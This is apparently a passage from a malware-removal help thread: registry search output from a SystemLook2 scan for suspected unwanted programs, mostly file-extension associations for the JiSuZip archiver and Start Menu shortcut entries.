@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.093\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.093\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.094\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.094\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.095\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.095\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.096\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.096\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.097\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.097\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.098\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.098\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.099\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.099\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.7z\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.7z\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.arj\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.arj\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.bz2\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.bz2\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.cab\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.cab\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.gz\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.gz\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.gzip\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.gzip\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.iso\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.iso\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.jar\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.jar\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.lzh\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.lzh\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.rar\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.rar\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.rpm\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.rpm\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.tar\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.tar\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.tbz\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.tbz\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.tgz\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.tgz\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.wim\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.wim\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.z\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.z\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.zip\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.zip\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"31"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\极速压缩\卸载极速压缩.lnk C:\Program Files (x86)\Maoha\JiSuZip\Uninstall.exe"
SystemLook2:
Code:
Searching for "SystemHealer"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"25"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Healer\Launch System Healer.lnk C:\Program Files (x86)\SystemHealer\SystemHealer.exe"
[HKEY_USERS\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"25"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Healer\Launch System Healer.lnk C:\Program Files (x86)\SystemHealer\SystemHealer.exe"

Searching for "DownloadProtect"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{F2DB3739-77FB-41EB-9ED3-ABF34DF2DBF7}]
@="IDownloadProtect"

Searching for "DPBHO"
No data found.

Searching for "WajIEnhance"
No data found.

Searching for "SwytShop"
No data found.

Searching for "JiSuZip"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UFH\SHC]
"31"="C:\ProgramData\Microsoft\Windows\Start Menu\Programs\极速压缩\卸载极速压缩.lnk C:\Program Files (x86)\Maoha\JiSuZip\Uninstall.exe"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.001\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.001\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.002\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.002\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.003\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.003\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.004\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.004\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.005\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.005\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.006\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.006\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.007\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.007\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.008\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.008\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.009\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.009\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.01\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.01\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.010\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.010\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.011\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.011\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.012\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.012\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.013\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.013\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.014\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.014\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.015\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.015\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.016\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.016\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.017\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.017\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.018\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.018\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.019\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.019\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.02\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.02\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.020\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.020\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.021\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.021\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.022\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.022\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.023\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.023\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.024\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.024\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.025\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.025\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.026\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.026\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.027\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.027\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.028\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.028\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.029\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.029\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.03\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.03\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.030\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.030\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.031\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.031\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.032\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.032\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.033\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.033\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.034\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.034\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.035\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.035\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.036\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.036\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.037\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.037\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.038\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.038\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.039\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.039\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.04\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.04\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.040\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.040\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.041\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.041\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.042\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.042\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.043\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.043\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.044\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.044\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.045\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.045\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.046\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.046\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.047\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.047\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.048\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.048\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.049\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.049\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.05\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.05\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.050\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.050\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.051\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.051\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.052\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.052\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.053\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.053\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.054\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.054\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.055\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.055\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.056\DefaultIcon]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe,0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.056\shell\open\command]
@="C:\Program Files (x86)\Maoha\JiSuZip\JsZip.exe "%1""
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JsZip.057\DefaultIcon]
